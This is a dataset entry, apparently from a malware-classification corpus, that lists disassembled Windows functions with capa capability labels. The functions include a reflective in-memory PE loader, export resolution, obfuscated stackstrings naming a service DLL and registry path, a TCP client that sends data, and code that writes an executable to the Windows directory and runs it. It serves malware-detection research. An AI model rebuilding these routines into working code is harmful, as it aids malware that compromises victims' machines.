joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41e5a4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x625a63
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov ecx, ebx
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [ecx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x41e655
add edx, ebx
mov eax, edx
mov esi, dword [eax + 0x18]
mov edx, dword [eax + 0x1c]
add edx, ebx
mov dword [ebp - 0x10], edx
mov edi, dword [eax + 0x20]
add edi, ebx
mov edx, dword [eax + 0x24]
add edx, ebx
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 4]
cmp edx, 0xffff
jbe 0x41e63e
test esi, esi
jbe 0x41e655
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.004088e4
test eax, eax
jne 0x41e630
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x41e655
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x41e60d
jmp 0x41e655
mov ecx, edx
sub ecx, dword [eax + 0x10]
cmp ecx, dword [eax + 0x14]
jae 0x41e655
mov eax, ecx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x625a6a
ret
Function at 0x41eec4
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ecx
mov word [ebp - 2], dx
xor eax, eax
push ebp
push 0x626473
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404cd0
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x41eeff
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x41ef18
lea eax, [ebp - 0x10]
mov edx, dword [0x6402a4]
mov edx, dword [edx]
mov edx, dword [edx + 0xc]
call fcn.00404d30
jmp 0x41ef2b
lea eax, [ebp - 0x10]
mov edx, dword [0x6402a4]
mov edx, dword [edx]
mov edx, dword [edx + 0x10]
call fcn.00404d30
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0x41ef37
adc edx, 0
mov edx, dword [edx*4 + 0x63f10c]
call fcn.00404f20
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00404f04
push eax
call fcn.00406b1c
mov esi, eax
cmp esi, 0xffffffff
je 0x41f045
mov eax, 0x40
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x40
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x41f038
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x41f038
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00406ddc
mov eax, edi
call fcn.00403288
mov eax, 0x18
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0x18
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x41f038
mov eax, edi
cmp dword [eax], 0x4550
jne 0x41f038
add eax, 4
mov dx, word [eax]
cmp dx, 0x14c
jb 0x41f038
cmp dx, 0x150
ja 0x41f038
mov eax, edi
call fcn.00403288
mov eax, 0xe0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 0xc]
push eax
push 0xe0
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x41f038
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 2]
jne 0x41f038
mov eax, dword [eax + 0x10]
mov edx, dword [ebp - 8]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
mov eax, edi
call fcn.00403288
push esi
call fcn.00406ad4
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.0040502c
jne 0x41f05d
inc ebx
cmp ebx, 0x19
jne 0x41eef1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x62647a
lea eax, [ebp - 0x10]
call fcn.00404cd0
ret
Function at 0x40280d
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
imul edx, dword [0x40d02c], 0x8088405
inc edx
mov dword [0x40d02c], edx
mul edx
mov eax, edx
ret

Function at 0x407db5
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x40d560
mov eax, esi
mov edx, 8
test al, 1
je 0x407dd1
shr eax, 1
xor eax, 0xedb88320
jmp 0x407dd3
shr eax, 1
dec edx
jne 0x407dc4
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x407dbd
pop esi
ret

Function at 0x407de9
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x40d55c], 0
jne 0x407e0c
call fcn.00407db5
push 1
push 0x40d55c
call fcn.0040446d
mov eax, edi
test esi, esi
je 0x407e37
mov edx, ebx
and dx, 0xff
xor ecx, ecx
mov cl, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x40d560]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x407e12
mov eax, ebx
pop edi
pop esi
pop ebx
ret
Function at 0x401370
Capabilities:
Initialize winsock library

Disassembly:
push 0xffffffffffffffff
push 0x405ef8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x19c
push esi
mov esi, ecx
mov dword [esp + 0xc], esi
lea ecx, [esi + 4]
call fcn.00401000
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1a8], 0
call fcn.00401000
lea ecx, [esi + 0x54]
mov byte [esp + 0x1a8], 1
call fcn.00401000
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1a8], 2
call fcn.00401000
lea eax, [esp + 0x10]
mov byte [esp + 0x1a8], 3
push eax
push 0x202
mov dword [esi], 0x406208
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
lea ecx, [esp + 4]
mov dword [esi + 0xac], eax
push 5
mov byte [esi + 0xb0], 0
mov dword [esi + 0xa8], 0xffffffff
mov al, 0x75
push ecx
mov ecx, dword [0x408cb4]
push str.KuGou
mov byte [esp + 0x10], 0x4b
mov byte [esp + 0x11], al
mov byte [esp + 0x12], 0x47
mov byte [esp + 0x13], 0x6f
mov byte [esp + 0x14], al
call fcn.00403bc0
mov ecx, dword [0x408cb4]
push str.12344321
call fcn.00403c30
mov ecx, dword [0x408cb4]
push eax
push str.12344321
push 0x408980
call fcn.00403dd0
mov ecx, dword [esp + 0x1a0]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x1a8
ret
Function at 0x401560
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
sub esp, 0x1c
push ebp
push esi
push edi
mov edi, dword [esp + 0x2c]
test edi, edi
mov esi, ecx
jne 0x40157b
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x1c
ret 8
mov ebp, dword [esp + 0x30]
test ebp, ebp
jne 0x40158e
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x1c
ret 8
mov ecx, esi
call fcn.00401b50
mov eax, dword [esi + 0xac]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov byte [esi + 0xb0], 0
mov eax, dword [0x40877c]
test eax, eax
je 0x4015c7
cmp eax, 4
je 0x4015c7
cmp eax, 5
je 0x4015c7
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x1c
ret 8
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 0xa8], eax
jne 0x4015e9
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x1c
ret 8
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov edi, eax
test edi, edi
jne 0x4015ff
pop edi
pop esi
pop ebp
add esp, 0x1c
ret 8
mov eax, dword [0x40877c]
mov word [esp + 0x18], 2
test eax, eax
je 0x401619
mov cx, word [0x408020]
push ecx
jmp 0x40161a
push ebp
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x1a], ax
mov edx, dword [edi + 0xc]
push 0x10
mov eax, dword [edx]
lea edx, [esp + 0x1c]
push edx
mov ecx, dword [eax]
mov eax, dword [esi + 0xa8]
push eax
mov dword [esp + 0x28], ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401654
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x1c
ret 8
mov edx, dword [esi + 0xa8]
lea ecx, [esp + 0x2c]
push 4
push ecx
push 8
push 0xffff
push edx
mov dword [esp + 0x40], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x4016b7
push eax
mov edx, dword [esi + 0xa8]
push eax
lea eax, [esp + 0x34]
push eax
push 0
push 0
lea ecx, [esp + 0x20]
push 0xc
push ecx
push 0x98000004
push edx
mov dword [esp + 0x30], 1
mov dword [esp + 0x34], 0x2bf20
mov dword [esp + 0x38], 0x3a98
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 1
push 0
push 0
push esi
push 0x4016f0
push 0
push 0
mov byte [esi + 0xb0], 1
call fcn.004055a0
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov eax, 1
pop edi
pop esi
pop ebp
add esp, 0x1c
ret 8
Function at 0x401c90
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
mov ebp, ecx
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
push 0x100
rep stosd dword es:[edi], eax
mov ecx, dword [0x408cb4]
push 0x408980
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x20]
mov dword [esp + 0x18], 0
push eax
call fcn.00403bc0
mov ebx, dword [esp + 0x120]
mov edi, dword [esp + 0x11c]
push ebx
lea ecx, [esp + 0x1c]
push edi
push ecx
mov ecx, dword [0x408cb4]
call fcn.00403e70
mov esi, dword [esp + 0x124]
mov eax, ebx
cmp eax, esi
jb 0x401d4c
mov dword [esp + 0x14], 0
mov edx, dword [ebp + 0xa8]
push 0
push esi
push edi
push edx
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x401d2b
mov ecx, dword [esp + 0x14]
inc ecx
cmp ecx, 0xf
mov dword [esp + 0x14], ecx
jl 0x401d08
cmp dword [esp + 0x14], 0xf
je 0x401d96
mov ecx, dword [esp + 0x10]
push 0xa
add ecx, eax
add edi, esi
mov dword [esp + 0x14], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
sub ebx, esi
cmp ebx, esi
jae 0x401d00
test ebx, ebx
jbe 0x401d7a
xor esi, esi
mov eax, dword [ebp + 0xa8]
push 0
push ebx
push edi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x401d6d
inc esi
cmp esi, 0xf
jl 0x401d52
cmp esi, 0xf
je 0x401d96
mov ecx, dword [esp + 0x10]
add ecx, eax
jmp 0x401d7e
mov ecx, dword [esp + 0x10]
cmp ecx, dword [esp + 0x120]
jne 0x401d96
pop edi
pop esi
pop ebp
mov eax, ecx
pop ebx
add esp, 0x108
ret 0xc
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x108
ret 0xc

Function at 0x402110
Capabilities:
Read file on windows

Disassembly:
push ecx
mov eax, dword [esp + 8]
push esi
push edi
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push eax
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x402142
pop edi
xor eax, eax
pop esi
pop ecx
ret
push 2
push 0
push 0xfffffc00
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x400
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea ecx, [esp + 8]
mov edi, eax
push 0
push ecx
push 0x400
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x14]
mov ecx, dword [0x408cb4]
push 0
push 0x400
push edx
push edi
call fcn.00403ce0
cmp eax, 0xffffffff
jne 0x4021a8
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
xor eax, eax
pop edi
pop esi
pop ecx
ret
add eax, edi
pop edi
pop esi
pop ecx
ret
Function at 0x4022a0
Capabilities:
Get common file path

Disassembly:
sub esp, 8
mov al, 0x5c
push edi
mov byte [esp + 4], al
mov byte [esp + 9], al
mov ecx, 0x41
xor eax, eax
mov edi, 0x408a98
push 0x104
rep stosd dword es:[edi], eax
push 0x408a98
mov byte [esp + 0xd], 0x54
mov byte [esp + 0xe], 0x65
mov byte [esp + 0xf], 0x6d
mov byte [esp + 0x10], 0x70
mov byte [esp + 0x12], 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [0x408cb4]
lea eax, [esp + 4]
push eax
push 0x408a98
call fcn.00403bf0
mov ecx, dword [esp + 0x10]
push ecx
mov ecx, dword [0x408cb4]
push 0x408a98
call fcn.00403bf0
pop edi
add esp, 8
ret
Function at 0x402320
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
sub esp, 0x54
mov edx, dword [0x408e10]
mov al, 0x31
mov byte [esp + 0x16], al
mov byte [esp + 0x1b], al
mov al, byte [0x408e00]
push ebx
mov cl, 0x56
push ebp
mov ebp, dword [edx*4 + 0x408e04]
mov byte [esp + 0xc], al
mov eax, dword [0x408b9c]
push esi
mov byte [esp + 0x1c], cl
mov byte [esp + 0x26], cl
mov cl, byte [0x408df0]
xor esi, esi
mov bl, 0x53
mov byte [esp + 0x1d], 0x49
test eax, eax
mov byte [esp + 0x1e], 0x44
mov byte [esp + 0x1f], 0x3a
mov byte [esp + 0x20], 0x32
mov byte [esp + 0x21], 0x30
mov byte [esp + 0x23], 0x33
mov byte [esp + 0x24], 0x2d
mov byte [esp + 0x25], bl
mov byte [esp + 0x28], 0
mov byte [esp + 0xc], cl
jne 0x4024e7
mov eax, dword [esp + 0x68]
push eax
call fcn.004022a0
add esp, 4
push 0x408a98
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x402429
push edi
mov ecx, 0xc
xor eax, eax
lea edi, [esp + 0x31]
mov byte [esp + 0x30], 0
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x19], bl
push ecx
push 0x408a98
stosb byte es:[edi], al
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0
call fcn.00402110
add esp, 8
test eax, eax
pop edi
je 0x402429
mov ecx, dword [0x408cb4]
add eax, 6
lea edx, [esp + 0x2c]
push eax
push edx
call fcn.00403cb0
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x2c]
push eax
push ecx
mov ecx, dword [0x408cb4]
call fcn.00403d40
test eax, eax
je 0x402441
push 1
push 0x408a98
call fcn.004021b0
add esp, 8
xor eax, eax
pop esi
pop ebp
pop ebx
add esp, 0x54
ret
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push 0x408a98
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x408a8c], eax
jne 0x402471
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x54
ret
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [0x408a84], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [0x408a84]
push 0
push 0x408a88
push edx
mov dword [0x408a94], eax
push eax
mov eax, dword [0x408a8c]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [0x408a8c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x408a94]
push edx
call fcn.004034f0
add esp, 4
mov dword [0x408a90], eax
test eax, eax
jne 0x4024db
pop esi
pop ebp
pop ebx
add esp, 0x54
ret
mov dword [0x408b9c], 1
jmp 0x4024ec
mov eax, dword [0x408a90]
mov ecx, dword [esp + 0x6c]
push ecx
push eax
call fcn.00403960
add esp, 8
test eax, eax
je 0x40252b
mov edx, dword [esp + 0x70]
mov ecx, dword [esp + 0xc]
push edx
mov edx, dword [esp + 0x14]
push ebp
push ecx
mov ecx, dword [0x408028]
push edx
mov edx, dword [esp + 0x74]
push str.12344321
push ecx
push 0x408ba8
push edx
call eax
add esp, 0x20
mov esi, eax
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x54
ret
Function at 0x402980
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x10
mov al, 0x6c
mov edx, dword [str.MpMgSvc.dll]
mov byte [esp + 1], al
mov byte [esp + 2], al
mov al, 0x6f
lea ecx, [esp]
mov byte [esp + 4], al
mov byte [esp + 0xb], al
mov eax, dword [esp + 0x14]
mov byte [esp], 0x44
push eax
push ecx
push edx
push 0
mov byte [esp + 0x13], 0x53
mov byte [esp + 0x15], 0x72
mov byte [esp + 0x16], 0x74
mov byte [esp + 0x17], 0x57
mov byte [esp + 0x18], 0x69
mov byte [esp + 0x19], 0x6e
mov byte [esp + 0x1a], 0x64
mov byte [esp + 0x1c], 0x77
mov byte [esp + 0x1d], 0
call fcn.00402320
mov dword [0x408ba4], eax
xor eax, eax
add esp, 0x20
ret 4

Function at 0x402b30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x428
push esi
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x31]
mov byte [esp + 0x30], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x30]
mov dl, 0x53
rep stosd dword es:[edi], eax
mov al, 0x65
mov cl, 0x72
mov byte [esp + 0x13], al
mov byte [esp + 0x1e], al
mov byte [esp + 0x22], al
mov byte [esp + 0x27], al
mov al, 0x73
mov byte [esp + 0x11], cl
mov byte [esp + 0x28], al
mov byte [esp + 0x2b], al
mov eax, dword [esp + 0x434]
mov byte [esp + 0x12], cl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x23], cl
mov byte [esp + 8], dl
mov byte [esp + 0xa], dl
mov byte [esp + 0x1d], dl
mov byte [esp + 0x21], dl
lea ecx, [esp + 8]
push eax
lea edx, [esp + 0x34]
push ecx
push edx
mov byte [esp + 0x15], 0x59
mov byte [esp + 0x17], 0x54
mov byte [esp + 0x18], 0x45
mov byte [esp + 0x19], 0x4d
mov byte [esp + 0x1a], 0x5c
mov byte [esp + 0x1b], 0x43
mov byte [esp + 0x1c], 0x75
mov byte [esp + 0x20], 0x6e
mov byte [esp + 0x21], 0x74
mov byte [esp + 0x22], 0x43
mov byte [esp + 0x23], 0x6f
mov byte [esp + 0x24], 0x6e
mov byte [esp + 0x25], 0x74
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], 0x6c
mov byte [esp + 0x2b], 0x74
mov byte [esp + 0x2c], 0x5c
mov byte [esp + 0x30], 0x76
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x32], 0x63
mov byte [esp + 0x35], 0x5c
mov byte [esp + 0x36], 0x25
mov byte [esp + 0x38], 0
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [esp + 0x448]
add esp, 0xc
push 0
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x440]
push esi
push 1
lea ecx, [esp + 0x40]
push eax
push ecx
push 0x80000002
call fcn.00404020
add esp, 0x1c
pop edi
pop esi
add esp, 0x428
ret

Function at 0x402da0
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0x9f54]
mov dword [ebx], 0x406214
test eax, eax
jbe 0x402de4
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea esi, [ebx + 0x314]
mov eax, dword [esi]
push 0xffffffffffffffff
push eax
call ebp
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0x9f54]
inc edi
add esi, 4
cmp edi, eax
jb 0x402dc4
pop esi
pop ebp
mov ecx, ebx
call fcn.00403450
pop edi
pop ebx
ret
Function at 0x4031e0
Capabilities:
Check if file exists
Create process on windows
Get common file path
Get file attributes
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x150
push esi
lea eax, [esp + 0x50]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov al, 0x45
mov byte [esp + 0xc], 0x5c
mov byte [esp + 0xd], 0x52
mov byte [esp + 0xe], 0x75
mov byte [esp + 0xf], 0x25
mov byte [esp + 0x10], 0x64
mov byte [esp + 0x11], 0x2e
mov byte [esp + 0x12], al
mov byte [esp + 0x13], 0x58
mov byte [esp + 0x14], al
mov byte [esp + 0x15], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x50]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 2
push 0
push 2
lea edx, [esp + 0x64]
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x403301
mov ecx, dword [esp + 0x15c]
mov edx, dword [esp + 0x158]
lea eax, [esp + 0x18]
push 0
push eax
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esp + 0x160], 2
je 0x403301
mov ecx, dword [0x408cb4]
lea eax, [esp + 0x50]
push 0x2e
push eax
call fcn.00403d90
test eax, eax
je 0x403301
lea ecx, [esp + 0x50]
mov byte [esp + 4], 0x6f
push ecx
mov byte [esp + 9], 0x70
mov byte [esp + 0xa], 0x65
mov byte [esp + 0xb], 0x6e
mov byte [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x403301
push 5
push 0
lea edx, [esp + 0x58]
push 0
lea eax, [esp + 0x10]
push edx
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
pop esi
add esp, 0x150
ret 0xc
Function at 0x4034f0
Capabilities:
Parse pe header

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov byte [ebp], 0x4d
mov byte [ebp + 1], 0x5a
cmp word [ebp], 0x5a4d
je 0x40350f
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov ebx, dword [ebp + 0x3c]
add ebx, ebp
cmp dword [ebx], 0x4550
je 0x403523
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
mov eax, dword [ebx + 0x50]
mov ecx, dword [ebx + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push eax
push ecx
call esi
mov edi, eax
test edi, edi
jne 0x403559
mov edx, dword [ebx + 0x50]
push 4
push 0x2000
push edx
push eax
call esi
mov edi, eax
test edi, edi
jne 0x403559
pop edi
pop esi
pop ebp
pop ebx
ret
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
xor eax, eax
push 4
push 0x1000
mov dword [esi + 4], edi
mov dword [esi + 0xc], eax
mov dword [esi + 8], eax
mov dword [esi + 0x10], eax
mov eax, dword [ebx + 0x50]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx + 0x54]
push 4
push 0x1000
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebp + 0x3c]
mov ecx, dword [ebx + 0x54]
add edx, ecx
mov ecx, dword [0x408cb4]
push edx
push ebp
push eax
mov dword [esp + 0x20], eax
call fcn.00403bc0
mov eax, dword [ebp + 0x3c]
mov ecx, dword [esp + 0x14]
add eax, ecx
push esi
push ebx
mov dword [esi], eax
push ebp
mov dword [eax + 0x34], edi
call fcn.00403640
mov ecx, dword [ebx + 0x34]
mov eax, edi
add esp, 0xc
sub eax, ecx
je 0x4035e4
push eax
push esi
call fcn.004037d0
add esp, 8
push esi
call fcn.00403850
add esp, 4
test eax, eax
je 0x403614
push esi
call fcn.00403710
mov edx, dword [esi]
add esp, 4
mov eax, dword [edx + 0x28]
test eax, eax
je 0x40362b
add eax, edi
test eax, eax
je 0x403614
push 0
push 1
push edi
call eax
test eax, eax
jne 0x403624
push esi
call fcn.00403a00
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret
mov dword [esi + 0x10], 1
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x403640
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebp
xor ecx, ecx
push esi
mov ebp, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea esi, [ecx + eax + 0x18]
jbe 0x403701
push ebx
push edi
add esi, 0x10
cmp dword [esi], 0
jne 0x4036ab
mov edx, dword [esp + 0x1c]
mov ebx, dword [edx + 0x38]
test ebx, ebx
jle 0x4036df
mov eax, dword [esi - 4]
push 4
push 0x1000
add eax, ebp
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, ebx
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [esi - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x4036df
mov ecx, dword [esi - 4]
mov eax, dword [esi]
push 4
push 0x1000
add ecx, ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [esi]
mov ecx, dword [0x408cb4]
mov edi, eax
mov eax, dword [esi + 4]
push edx
mov edx, dword [esp + 0x1c]
add eax, edx
push eax
push edi
call fcn.00403bc0
mov dword [esi - 8], edi
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add esi, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x40366e
pop edi
pop ebx
pop esi
pop ebp
pop ecx
ret

Function at 0x403710
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
xor ecx, ecx
push ebp
mov ebx, dword [eax]
xor ebp, ebp
mov cx, word [ebx + 0x14]
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x4037c4
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x403767
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x4037aa
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov edx, dword [edx*4 + 0x408088]
je 0x40377e
or dh, 2
mov ecx, dword [edi - 0x14]
test ecx, ecx
jne 0x403797
test al, 0x40
je 0x40378e
mov ecx, dword [ebx + 0x20]
jmp 0x403795
test al, 0x80
je 0x4037aa
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x4037aa
lea eax, [esp + 0x10]
push eax
push edx
push ecx
mov ecx, dword [edi - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
xor eax, eax
inc ebp
add edi, 0x28
mov ebx, dword [edx]
mov ax, word [ebx + 6]
cmp ebp, eax
jl 0x403734
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret